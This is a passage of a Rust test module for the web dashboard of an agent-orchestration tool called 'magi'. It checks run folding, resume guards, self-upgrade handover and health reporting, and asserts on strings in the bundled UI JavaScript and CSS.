13028 let wt = fx.home.path().join("wt").join("magi").join("dead");
13029 let id = "20260901-000000-dead";
13030 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13031 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13032 std::fs::create_dir_all(&wt).expect("worktree dir");
13033
13034 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13035 assert_eq!(res.status, 200, "{}", res.body);
13036 assert!(
13037 res.json()["removed_count"].as_u64().unwrap() > 0,
13038 "the worktree this build could not read a state for still went"
13039 );
13040 assert!(
13041 !runs.join(id).exists(),
13042 "an unreadable run has no candidate list to fold selectively, so \
13043 the whole record goes - same as `magi fold` on the CLI"
13044 );
13045 }
13046
13047 #[tokio::test]
13048 async fn deleting_an_unreadable_run_removes_it_wholesale() {
13049 let fx = Fixture::start().await;
13050 let runs = fx.runs();
13051 let wt = fx.home.path().join("wt").join("magi").join("gone");
13052 let id = "20260901-000000-gone";
13053 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13054 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13055 std::fs::create_dir_all(&wt).expect("worktree dir");
13056
13057 let res = fx.delete(&format!("/api/runs/{id}")).await;
13058 assert_eq!(res.status, 204, "{}", res.body);
13059 assert!(!runs.join(id).exists(), "the broken record is gone");
13060 assert!(!wt.exists(), "its worktree is gone too");
13061 }
13062
13063 #[tokio::test]
13064 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
13065 let fx = Fixture::start().await;
13066 let runs = fx.runs();
13067 let id = "20260901-000000-live";
13068 write_run(&runs, id, RunStatus::Implementing);
13069
13070 let mut beat = crate::daemon::Status::new();
13071 beat.current = vec![crate::daemon::Current {
13072 task: "20260901-000000-task".to_owned(),
13073 run: id.to_owned(),
13074 }];
13075 beat.updated_at = jiff::Timestamp::now();
13076 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13077 .expect("publish a heartbeat");
13078
13079 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13080 assert_eq!(res.status, 409);
13081 assert!(
13082 res.json()["error"]
13083 .as_str()
13084 .unwrap()
13085 .contains("live daemon"),
13086 "folding under a running agent would pull its worktree away"
13087 );
13088 }
13089
13090 #[tokio::test]
13091 async fn fold_merged_requires_a_pr_url() {
13092 let fx = Fixture::start().await;
13093 let runs = fx.runs();
13094 let id = "20260901-000000-nourl";
13095 write_run(&runs, id, RunStatus::Blocked);
13096
13097 let res = fx
13098 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
13099 .await;
13100 assert_eq!(res.status, 400, "{}", res.body);
13101
13102 let blank = fx
13103 .post(
13104 &format!("/api/runs/{id}/fold-merged"),
13105 Some(r#"{"pr_url":" "}"#),
13106 )
13107 .await;
13108 assert_eq!(blank.status, 400, "{}", blank.body);
13109 }
13110
13111 #[tokio::test]
13112 async fn fold_merged_is_404_for_an_unknown_run() {
13113 let fx = Fixture::start().await;
13114 let res = fx
13115 .post(
13116 "/api/runs/nosuchrun/fold-merged",
13117 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13118 )
13119 .await;
13120 assert_eq!(res.status, 404, "{}", res.body);
13121 }
13122
13123 #[tokio::test]
13124 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
13125 let fx = Fixture::start().await;
13126 let runs = fx.runs();
13127 let id = "20260901-000000-livemerge";
13128 write_run(&runs, id, RunStatus::Blocked);
13129
13130 let mut beat = crate::daemon::Status::new();
13131 beat.current = vec![crate::daemon::Current {
13132 task: "20260901-000000-task".to_owned(),
13133 run: id.to_owned(),
13134 }];
13135 beat.updated_at = jiff::Timestamp::now();
13136 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13137 .expect("publish a heartbeat");
13138
13139 let res = fx
13140 .post(
13141 &format!("/api/runs/{id}/fold-merged"),
13142 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13143 )
13144 .await;
13145 assert_eq!(res.status, 409, "{}", res.body);
13146 assert!(
13147 res.json()["error"]
13148 .as_str()
13149 .unwrap()
13150 .contains("live daemon"),
13151 "correcting a run's merge underneath a running agent would race \
13152 whatever it is doing to the same `status`/`merge` fields"
13153 );
13154 }
13155
13156 #[tokio::test]
13161 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
13162 let fx = Fixture::start().await;
13163 let runs = fx.runs();
13164 let id = "20260901-000000-unconfirmed";
13165 write_run(&runs, id, RunStatus::Blocked);
13166
13167 let res = fx
13168 .post(
13169 &format!("/api/runs/{id}/fold-merged"),
13170 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13171 )
13172 .await;
13173 assert_eq!(res.status, 400, "{}", res.body);
13174 assert_eq!(
13175 read_run(&runs, id).unwrap().status,
13176 RunStatus::Blocked,
13177 "a pull request that could not be confirmed merged must leave \
13178 the run exactly where it was"
13179 );
13180 }
13181
13182 #[tokio::test]
13183 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
13184 let fx = Fixture::start().await;
13185 let runs = fx.runs();
13186
13187 for (status, word) in [
13193 (RunStatus::Merged, "merged"),
13194 (RunStatus::Ready, "ready"),
13195 (RunStatus::Failed, "failed"),
13196 ] {
13197 let id = format!("20260901-000000-{}", &word[..4]);
13198 write_run(&runs, &id, status);
13199 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
13200 assert_eq!(res.status, 409, "{word} must not be resumable");
13201 let err = res.json()["error"].as_str().unwrap().to_owned();
13202 assert!(err.contains(word), "the refusal names the status: {err}");
13203 }
13204
13205 let mid = "20260901-000000-midf";
13210 write_run(&runs, mid, RunStatus::Reviewing);
13211 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
13212 assert_eq!(res.status, 202, "an interrupted run is resumable");
13213 }
13214
13215 #[tokio::test]
13216 async fn resume_is_refused_while_the_loop_is_running() {
13217 let fx = Fixture::start().await;
13218 let runs = fx.runs();
13219 let stalled = "20260901-000000-stal";
13220 write_run(&runs, stalled, RunStatus::Stalled);
13221
13222 let mut beat = crate::daemon::Status::new();
13226 beat.current = vec![crate::daemon::Current {
13227 task: "20260901-000000-task".to_owned(),
13228 run: "20260901-000000-othr".to_owned(),
13229 }];
13230 beat.updated_at = jiff::Timestamp::now();
13231 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13232 .expect("publish a heartbeat");
13233
13234 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
13235 assert_eq!(res.status, 409);
13236 let err = res.json()["error"].as_str().unwrap().to_owned();
13237 assert!(err.contains("othr"), "it names what the loop is on: {err}");
13238 assert!(err.contains("stop it first"), "{err}");
13239 }
13240
13241 #[test]
13242 fn a_run_cannot_be_resumed_twice_at_once() {
13243 let home = TempDir::new().expect("temp home");
13244 let ui = Ui::new(
13245 Queue::at(home.path().join("queue")),
13246 Questions::at(home.path().join("questions")),
13247 Talks::at(home.path().join("talks")),
13248 home.path().join("runs"),
13249 home.path().to_path_buf(),
13250 PathBuf::from("/repo"),
13251 )
13252 .with_worktrees_root(home.path().join("wt"));
13253 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
13254 let again = ui.begin_resume("20260901-000000-once");
13255 assert!(again.is_err(), "a second tap must not start a second graph");
13256 drop(first);
13257 assert!(
13258 ui.begin_resume("20260901-000000-once").is_ok(),
13259 "and the claim is released when the attempt ends"
13260 );
13261 }
13262
13263 #[test]
13264 fn talk_thinking_tracks_only_its_held_turn_claim() {
13265 let home = TempDir::new().expect("temp home");
13266 let ui = Ui::new(
13267 Queue::at(home.path().join("queue")),
13268 Questions::at(home.path().join("questions")),
13269 Talks::at(home.path().join("talks")),
13270 home.path().join("runs"),
13271 home.path().to_path_buf(),
13272 PathBuf::from("/repo"),
13273 )
13274 .with_worktrees_root(home.path().join("wt"));
13275 let id = "20260901-000000-once";
13276
13277 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
13278 let turn = ui.begin_talk_turn(id).expect("claim turn");
13279 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
13280 assert!(
13281 !ui.is_thinking("20260901-000000-other"),
13282 "one talk's turn does not make another talk busy"
13283 );
13284 drop(turn);
13285 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
13286 }
13287
13288 #[tokio::test]
13289 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
13290 let fx = Fixture::start().await;
13291 let mut beat = crate::daemon::Status::new();
13295 beat.pid = 4321;
13296 beat.updated_at = jiff::Timestamp::now();
13297 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13298 .expect("publish a heartbeat");
13299
13300 let res = fx.post("/api/upgrade", None).await;
13301 assert_eq!(res.status, 409);
13302 let err = res.json()["error"].as_str().unwrap().to_owned();
13303 assert!(err.contains("4321"), "the refusal names the owner: {err}");
13304 assert!(err.contains("old one against the same queue"), "{err}");
13305 }
13306
13307 #[test]
13314 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
13315 assert!(!should_spawn_recheck(&crate::config::Update {
13316 mode: UpdateMode::Off,
13317 interval: None,
13318 }));
13319
13320 unsafe {
13323 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
13324 }
13325 let killed = should_spawn_recheck(&crate::config::Update {
13326 mode: UpdateMode::Notify,
13327 interval: None,
13328 });
13329 unsafe {
13330 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
13331 }
13332 assert!(
13333 !killed,
13334 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
13335 one-time startup check"
13336 );
13337
13338 assert!(should_spawn_recheck(&crate::config::Update {
13339 mode: UpdateMode::Notify,
13340 interval: None,
13341 }));
13342 }
13343
13344 #[test]
13350 fn recheck_poll_period_tracks_a_short_configured_interval() {
13351 let short = crate::config::Update {
13352 mode: UpdateMode::Notify,
13353 interval: Some("1m".to_owned()),
13354 };
13355 let period = recheck_poll_period(&short);
13356 assert!(
13357 period <= Duration::from_secs(30),
13358 "a one-minute interval must wake the task far sooner than the \
13359 default ceiling, or the deck would not notice within the \
13360 interval the operator configured: got {period:?}"
13361 );
13362
13363 let default = crate::config::Update {
13364 mode: UpdateMode::Notify,
13365 interval: None,
13366 };
13367 assert_eq!(
13368 recheck_poll_period(&default),
13369 UPDATE_RECHECK_POLL_MAX,
13370 "the default day-long interval should poll at the (capped) \
13371 ceiling rather than needlessly often"
13372 );
13373 }
13374
13375 #[test]
13383 fn recheck_skips_the_network_before_the_interval_elapses() {
13384 let dir = TempDir::new().expect("temp dir");
13385 let path = dir.path().join("state.json");
13386 let state = kaishin::UpdateCheckState {
13387 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
13388 last_known_latest: None,
13389 last_known_url: None,
13390 };
13391 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
13392
13393 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
13394 assert!(
13395 !update_recheck_due(&checker, None),
13396 "a check made moments ago must not be repeated before the \
13397 configured interval elapses"
13398 );
13399 }
13400
13401 #[test]
13407 fn recheck_defers_to_an_upgrade_already_in_flight() {
13408 let dir = TempDir::new().expect("temp dir");
13409 let path = dir.path().join("state.json");
13410 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
13411 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
13412
13413 assert!(
13414 !update_recheck_due(&checker, Some(&progress)),
13415 "a recheck must not run while an upgrade this deck started is \
13416 still moving"
13417 );
13418 }
13419
13420 #[tokio::test]
13421 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
13422 unsafe {
13434 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
13435 }
13436 let fx = Fixture::start().await;
13437 let res = fx.post("/api/upgrade", None).await;
13438 unsafe {
13439 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
13440 }
13441 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13442 let body = res.json();
13443 assert!(body["to"].is_null(), "there was no release to move to");
13444 assert!(body["parked"].is_null(), "and nothing was parked");
13445 assert!(
13446 body["detail"]
13447 .as_str()
13448 .unwrap()
13449 .contains("disabled by MAGI_NO_AUTOUPDATE"),
13450 "{body:?}"
13451 );
13452 }
13453
13454 #[tokio::test]
13455 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
13456 let repo = TempDir::new().expect("repo dir");
13472 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13473 .expect("write magi.toml");
13474 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13475
13476 let res = fx.post("/api/upgrade", None).await;
13482 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13483 let body = res.json();
13484 assert!(body["to"].is_null(), "there was no release to move to");
13485 assert!(body["parked"].is_null(), "and nothing was parked");
13486 assert!(
13487 body["detail"]
13488 .as_str()
13489 .unwrap()
13490 .contains("nothing restarted"),
13491 "{body:?}"
13492 );
13493 }
13494
13495 #[tokio::test]
13496 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
13497 let repo = TempDir::new().expect("repo dir");
13502 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13503 .expect("write magi.toml");
13504 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13505
13506 let health = fx.get("/api/health").await.json();
13507 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
13508 assert_eq!(
13509 health["update"]["available"], false,
13510 "checking is off, which reads as \"unknown\", not \"none\""
13511 );
13512 assert!(health["update"]["to"].is_null());
13513 assert!(
13514 health["upgrade"].is_null(),
13515 "nothing has ever asked this deck to upgrade"
13516 );
13517 }
13518
13519 #[tokio::test]
13520 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
13521 let fx = Fixture::start().await;
13522 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
13523
13524 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13525 progress.parked_run = Some("20260905-000000-cd51".to_owned());
13526 progress.advance(crate::updater::Stage::Parking);
13527 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13528
13529 let health = fx.get("/api/health").await.json();
13530 assert_eq!(health["upgrade"]["stage"], "parking");
13531 assert_eq!(health["upgrade"]["from"], "0.5.1");
13532 assert_eq!(health["upgrade"]["to"], "0.5.2");
13533 let waiting_on = health["upgrade"]["waiting_on"]
13534 .as_str()
13535 .expect("waiting_on is set while parking a known run");
13536 assert!(waiting_on.contains("cd51"), "{waiting_on}");
13537 assert!(waiting_on.contains("implementing"), "{waiting_on}");
13538 }
13539
13540 #[tokio::test]
13541 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
13542 let fx = Fixture::start().await;
13543 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13544 progress.advance(crate::updater::Stage::Done);
13545 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13546
13547 let health = fx.get("/api/health").await.json();
13548 assert_eq!(health["upgrade"]["stage"], "done");
13549 assert!(
13550 health["upgrade"]["waiting_on"].is_null(),
13551 "nothing to wait on once it is done"
13552 );
13553 }
13554
13555 #[tokio::test]
13556 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
13557 let home = TempDir::new().expect("temp home");
13558 let runs = home.path().join("runs");
13559 std::fs::create_dir_all(&runs).expect("runs dir");
13560 let ui = Ui::new(
13561 Queue::at(home.path().join("queue")),
13562 Questions::at(home.path().join("questions")),
13563 Talks::at(home.path().join("talks")),
13564 runs,
13565 home.path().to_path_buf(),
13566 PathBuf::from("/repo/magi"),
13567 )
13568 .with_launch(launch_idle);
13569 let looping = ui.looping();
13570 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13571 .await
13572 .expect("bind loopback");
13573 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13574
13575 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13576 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
13577
13578 hand_over(home.path(), &looping, served, |_| Ok(1))
13579 .await
13580 .expect("hand over");
13581
13582 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
13583 assert_eq!(
13584 after.stage,
13585 crate::updater::Stage::Restarting,
13586 "hand_over owns the record through parking and up to restarting; \
13587 the successor is what finishes it"
13588 );
13589 }
13590
13591 #[tokio::test]
13594 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
13595 for fail in [false, true] {
13596 let home = TempDir::new().expect("temp home");
13597 let ui = idle_ui(&home);
13598 let looping = ui.looping();
13599 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13600 .await
13601 .expect("bind loopback");
13602 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13603 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13604 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
13605
13606 let calls = std::sync::atomic::AtomicUsize::new(0);
13607 let outcome = hand_over(home.path(), &looping, served, |_| {
13608 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
13609 if fail {
13610 anyhow::bail!("no exec")
13611 } else {
13612 Ok(4242)
13613 }
13614 })
13615 .await;
13616 assert_eq!(outcome.is_err(), fail);
13617 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
13618
13619 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
13620 .expect("upgrade.log is written under the home");
13621 for step in [
13622 "entered",
13623 "finish_loop",
13624 "listener released",
13625 "starting the successor",
13626 ] {
13627 assert!(log.contains(step), "missing `{step}` in:\n{log}");
13628 }
13629 assert!(
13630 log.contains(if fail { "did not start" } else { "pid 4242" }),
13631 "{log}"
13632 );
13633 }
13634 }
13635
13636 #[tokio::test]
13639 async fn the_handover_signal_wakes_one_waiter_once() {
13640 let signal = Notify::new();
13641 signal.notify_one();
13643 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
13644 .await
13645 .expect("an early signal is still seen");
13646 assert!(
13648 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
13649 .await
13650 .is_err(),
13651 "a consumed signal must not wake a second time"
13652 );
13653 let signal = std::sync::Arc::new(signal);
13655 let waiter = tokio::spawn({
13656 let signal = std::sync::Arc::clone(&signal);
13657 async move { wait_for_handover(&signal).await }
13658 });
13659 tokio::time::sleep(Duration::from_millis(20)).await;
13660 assert!(!waiter.is_finished(), "nothing was signalled yet");
13661 signal.notify_one();
13662 tokio::time::timeout(Duration::from_secs(5), waiter)
13663 .await
13664 .expect("a late signal wakes the waiter")
13665 .expect("join");
13666 }
13667
13668 #[tokio::test]
13669 async fn health_says_how_long_a_handover_has_been_stuck() {
13670 let fx = Fixture::start().await;
13671 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13672 progress.advance(crate::updater::Stage::Replaced);
13673 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
13674 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13675
13676 let health = fx.get("/api/health").await.json();
13677 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
13678 assert!(stuck >= 600, "{stuck}");
13679 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
13680 }
13681
13682 fn idle_ui(home: &TempDir) -> Ui {
13683 let runs = home.path().join("runs");
13684 std::fs::create_dir_all(&runs).expect("runs dir");
13685 Ui::new(
13686 Queue::at(home.path().join("queue")),
13687 Questions::at(home.path().join("questions")),
13688 Talks::at(home.path().join("talks")),
13689 runs,
13690 home.path().to_path_buf(),
13691 PathBuf::from("/repo/magi"),
13692 )
13693 .with_launch(launch_idle)
13694 }
13695
13696 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
13698 let looping = ui.looping();
13699 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13700 .await
13701 .expect("bind loopback");
13702 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13703 let told = std::sync::Mutex::new(None);
13704 hand_over(home.path(), &looping, served, |resume| {
13705 *told.lock().unwrap() = Some(resume);
13706 Ok(1)
13707 })
13708 .await
13709 .expect("hand over");
13710 told.into_inner().unwrap().expect("successor was started")
13711 }
13712
13713 #[tokio::test]
13714 async fn a_running_loop_is_resumed_by_the_successor() {
13715 let home = TempDir::new().expect("temp home");
13716 let ui = idle_ui(&home);
13717 ui.start_loop(None).expect("start");
13718 ui.park_for_upgrade().expect("park");
13719 for _ in 0..500 {
13721 if !ui.loop_view(None).running {
13722 break;
13723 }
13724 tokio::time::sleep(Duration::from_millis(2)).await;
13725 }
13726 assert!(handed_over(&home, ui).await, "a running loop must resume");
13727
13728 let successor = idle_ui(&home);
13729 assert!(!successor.loop_view(None).running);
13730 assert!(successor.resume_after_handover(true));
13731 assert!(successor.loop_view(None).running);
13732 successor.stop_loop(None, false).expect("stop");
13733 }
13734
13735 #[tokio::test]
13736 async fn a_second_upgrade_request_keeps_the_resume_intent() {
13737 let home = TempDir::new().expect("temp home");
13738 let ui = idle_ui(&home);
13739 ui.start_loop(None).expect("start");
13740 ui.park_for_upgrade().expect("first park");
13741 ui.park_for_upgrade().expect("second park");
13742 assert!(handed_over(&home, ui).await);
13743 }
13744
13745 #[tokio::test]
13746 async fn a_stop_during_the_handover_wait_is_honoured() {
13747 let home = TempDir::new().expect("temp home");
13748 let ui = idle_ui(&home);
13749 ui.start_loop(None).expect("start");
13750 ui.park_for_upgrade().expect("park");
13751 ui.stop_loop(None, false).expect("stop");
13752 assert!(!handed_over(&home, ui).await);
13753 }
13754
13755 #[tokio::test]
13756 async fn an_idle_loop_stays_stopped_across_the_handover() {
13757 let home = TempDir::new().expect("temp home");
13758 let ui = idle_ui(&home);
13759 ui.park_for_upgrade().expect("park");
13760 assert!(!handed_over(&home, ui).await);
13761
13762 let successor = idle_ui(&home);
13763 assert!(!successor.resume_after_handover(false));
13764 assert!(!successor.loop_view(None).running);
13765 }
13766
13767 #[tokio::test]
13768 async fn a_loop_the_operator_stopped_is_not_resumed() {
13769 let home = TempDir::new().expect("temp home");
13770 let ui = idle_ui(&home);
13771 ui.start_loop(None).expect("start");
13772 ui.stop_loop(None, false).expect("stop");
13773 ui.park_for_upgrade().expect("park");
13774 assert!(!handed_over(&home, ui).await);
13775 }
13776
13777 #[test]
13778 fn only_an_explicit_one_requests_a_resume() {
13779 assert!(!resume_requested(None));
13780 assert!(!resume_requested(Some("0".into())));
13781 assert!(!resume_requested(Some("".into())));
13782 assert!(resume_requested(Some("1".into())));
13783 }
13784
13785 #[test]
13786 fn the_upgrade_button_arms_before_it_restarts_anything() {
13787 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
13790 assert!(APP_JS.contains("Replace the binary and restart?"));
13791 assert!(APP_JS.contains("function confirmed("));
13792 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
13797 assert!(
13801 APP_JS.contains("Parking, then restarting"),
13802 "the button says what it is waiting for"
13803 );
13804 assert!(APP_JS.contains("if (!out.to)"));
13807 }
13808
13809 #[test]
13810 fn stopping_the_loop_arms_but_starting_does_not() {
13811 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
13814 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
13815 assert!(APP_JS.contains("confirmed(button, question)"));
13816 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
13819 assert!(APP_JS.contains("const label = btn.textContent;"));
13820 assert!(!APP_JS.contains("Neither direction is guarded"));
13821 }
13822
13823 #[test]
13824 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
13825 assert!(
13826 APP_JS.contains("state.health.version"),
13827 "the operator wants to know what is running even with nothing newer"
13828 );
13829 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
13830 }
13831
13832 #[test]
13833 fn the_upgrade_button_names_its_destination() {
13834 assert!(
13835 APP_JS.contains("`Update to ${update.to}`"),
13836 "pressing the button should not be a surprise about what it moves to"
13837 );
13838 }
13839
13840 #[test]
13841 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
13842 for stage in ["downloading", "replaced", "parking", "restarting"] {
13843 assert!(
13844 APP_JS.contains(&format!("\"{stage}\"")),
13845 "the phone must be able to tell {stage} apart from the others"
13846 );
13847 }
13848 assert!(APP_JS.contains(".waiting_on"));
13849 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
13854 assert!(APP_JS.contains("reconnects on its own"));
13855 }
13856
13857 #[test]
13858 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
13859 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
13868 ..APP_JS.find("function upgrade(").expect("upgrade")];
13869 assert!(
13870 !body.contains(
13871 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
13872 ),
13873 "a failed upgrade must not take the whole strip over the way it used to"
13874 );
13875 assert!(
13876 body.contains("upgradeFailNote"),
13877 "the failure has to reach the loop's own note instead"
13878 );
13879 assert_eq!(
13883 body.matches("upgradeFailNote].filter(Boolean).join")
13884 .count(),
13885 2,
13886 "both loop-why writers (quiet and control) must fold the note in"
13887 );
13888 }
13889
13890 #[test]
13891 fn an_overdue_upgrade_eventually_asks_for_a_human() {
13892 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
13895 assert!(APP_JS.contains("function upgradeOverdue("));
13896 }
13897
13898 #[test]
13899 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
13900 assert!(
13901 APP_JS.contains("Updated to ${upgradeInfo.to"),
13902 "the operator who asked for the restart wants to know it worked"
13903 );
13904 }
13905
13906 #[test]
13907 fn an_error_is_visible_from_where_the_button_is() {
13908 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
13913 ..APP_CSS.find(".alert-text").expect(".alert-text")];
13914 assert!(
13915 alert.contains("position: fixed"),
13916 "an error about the thing under your thumb has to be visible from \
13917 where your thumb is: {alert}"
13918 );
13919 assert!(
13920 alert.contains("z-index: 25"),
13921 "above the dock (20) and the run-actions FAB (15), so neither \
13922 buries it: {alert}"
13923 );
13924 assert!(
13925 alert.contains("var(--tap)"),
13926 "and clear of the dock and the home indicator: {alert}"
13927 );
13928 assert!(
13931 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
13932 "the FAB's column stays free: {alert}"
13933 );
13934 }
13935
13936 #[tokio::test]
13937 async fn an_older_attempt_says_what_replaced_it() {
13938 let fx = Fixture::start().await;
13939 let q = fx.queue();
13940 let runs = fx.runs();
13941 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13942 write_run(&runs, first, RunStatus::Stalled);
13943 write_run(&runs, second, RunStatus::Blocked);
13944
13945 let mut t = Task::new(
13946 "one task".to_owned(),
13947 "do it".to_owned(),
13948 PathBuf::from("/repo"),
13949 Source::Human,
13950 );
13951 t.runs = vec![first.to_owned(), second.to_owned()];
13952 q.put(&mut t).expect("put");
13953
13954 let rows = fx.get("/api/runs").await.json();
13958 let by = |short: &str| -> Value {
13959 rows.as_array()
13960 .unwrap()
13961 .iter()
13962 .find(|r| r["short"] == short)
13963 .cloned()
13964 .unwrap_or(Value::Null)
13965 };
13966 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
13967 assert!(
13968 by("bbbb")["superseded_by"].is_null(),
13969 "the latest attempt is not superseded by anything"
13970 );
13971 assert!(APP_JS.contains("run.superseded_by"));
13973 assert!(APP_JS.contains("Superseded by"));
13974 }
13975
13976 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
13977 let mut t = Task::new(
13978 "one task".to_owned(),
13979 "do it".to_owned(),
13980 PathBuf::from("/repo"),
13981 Source::Human,
13982 );
13983 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
13984 t.status = status;
13985 t
13986 }
13987
13988 #[test]
13989 fn source_link_picks_the_page_that_filed_the_task() {
13990 let agent = |node: &str| Source::Agent {
13991 run: "20260904-014455-ab12".to_owned(),
13992 node: node.to_owned(),
13993 };
13994 let chat = source_link(&agent("chat")).expect("chat link");
13995 assert_eq!(chat.kind, "chat");
13996 assert_eq!(chat.id, "20260904-014455-ab12");
13997 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
13998 let run = source_link(&agent("implement")).expect("run link");
13999 assert_eq!(
14000 (run.kind, run.href.as_str()),
14001 ("run", "#/runs/20260904-014455-ab12")
14002 );
14003 assert_eq!(source_link(&Source::Human), None);
14004 assert_eq!(
14005 source_link(&Source::Issue {
14006 number: 3,
14007 repo: "o/r".to_owned()
14008 }),
14009 None
14010 );
14011 let odd = source_link(&Source::Agent {
14012 run: "a b/c".to_owned(),
14013 node: "chat".to_owned(),
14014 })
14015 .expect("link");
14016 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
14017 }
14018
14019 #[test]
14020 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
14021 assert!(
14022 !APP_JS.contains("src.node === \"chat\""),
14023 "inline href rule is back"
14024 );
14025 assert!(
14026 APP_JS.matches("sourceLinkOf(").count() >= 4,
14027 "helper must serve every page"
14028 );
14029 assert!(
14030 APP_JS.matches("openChatLink(").count() >= 3,
14031 "the run page still needs its explicit chat link"
14032 );
14033 assert!(
14034 !APP_JS.contains("const openChat = el("),
14035 "the Queue card duplicates its source label link again"
14036 );
14037 assert!(
14038 APP_JS.contains("metaKids.push(link ? el(\"a\""),
14039 "the task page must link a chat source label too"
14040 );
14041 }
14042
14043 #[test]
